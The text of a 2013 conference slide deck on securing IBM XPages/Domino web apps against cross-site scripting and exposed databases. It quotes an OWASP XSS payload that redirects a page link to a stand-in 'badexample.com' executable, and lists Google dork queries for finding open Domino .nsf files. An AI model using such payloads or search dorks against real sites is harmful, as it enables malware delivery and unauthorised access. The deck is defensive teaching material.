mwlug2013 - can your xpage codes stand up to hackers?

Can your Xpage App Stand Up to Criminals?

Bernie Leung

MESA TechnologyBernie Leung

MESA Technology

08/22/2013 Bernie Leung, MESA Technology www.MESATechnology.com


Not another Domino Security Talk, Right?


How to Secure Domino Server


Then what are these doing here?


Controlled Environment ? …. No More


Vulnerability


Topics:

1. XSS2. Security by Obscurity3. What can we do about it?

And DEMOS's - open your laptop and follow


Anatomy of Xpages Web App

<xp: ..... >


Anatomy of XPages

<xp: ..... >


Cross Site Scripting

Why is it Bad?

demo.


XSS – non persistent

For example, consider a site that has a welcome notice " Welcome %username% " and a download link

Instead you enterhttp://example.com/index.php?user=<script>window.onload = function() {var AllLinks=document.getElementsByTagName("a"); AllLinks[0].href = "http://badexample.com/malicious.exe"; }</script>

*Sample copied from OWASP


XSS – persistent

User form input, stored and later retrieved by others

*Sample copied from OWASP


In jsp,

Include JSTL (java standard tag lib)And output via c:out value="${outputWords}”

In Domino,

Add to NOTES.ini DominoValidateFramesetSRC=1

Fixing the Vulnerability


How Many other Libraries Do You Use?

Are you bringing in vulnerabilities?


Security by Obscurity


Another Common Vulnerability

Sensitive nsf open to public

Google is our frien-emy

inurl:/ibmsxpresinurl:/names.nsfinurl:/todo.nsf


DEMO


Keeping Up with the Bad Guys

IBM AppScan

Open Source


DEMO

How I Found the VulnerabilitiesUsing IBM AppScan


Thank You and Be Safe.

Contact Bernie Leung [email protected]

mwlug2013 - can your xpage codes stand up to hackers?

Technology

contact bernie leung

domino security talk

domino server

ibmsxpres inurl

xss persistent user

anatomy of xpages web

frienemy inurl

welcome notice welcome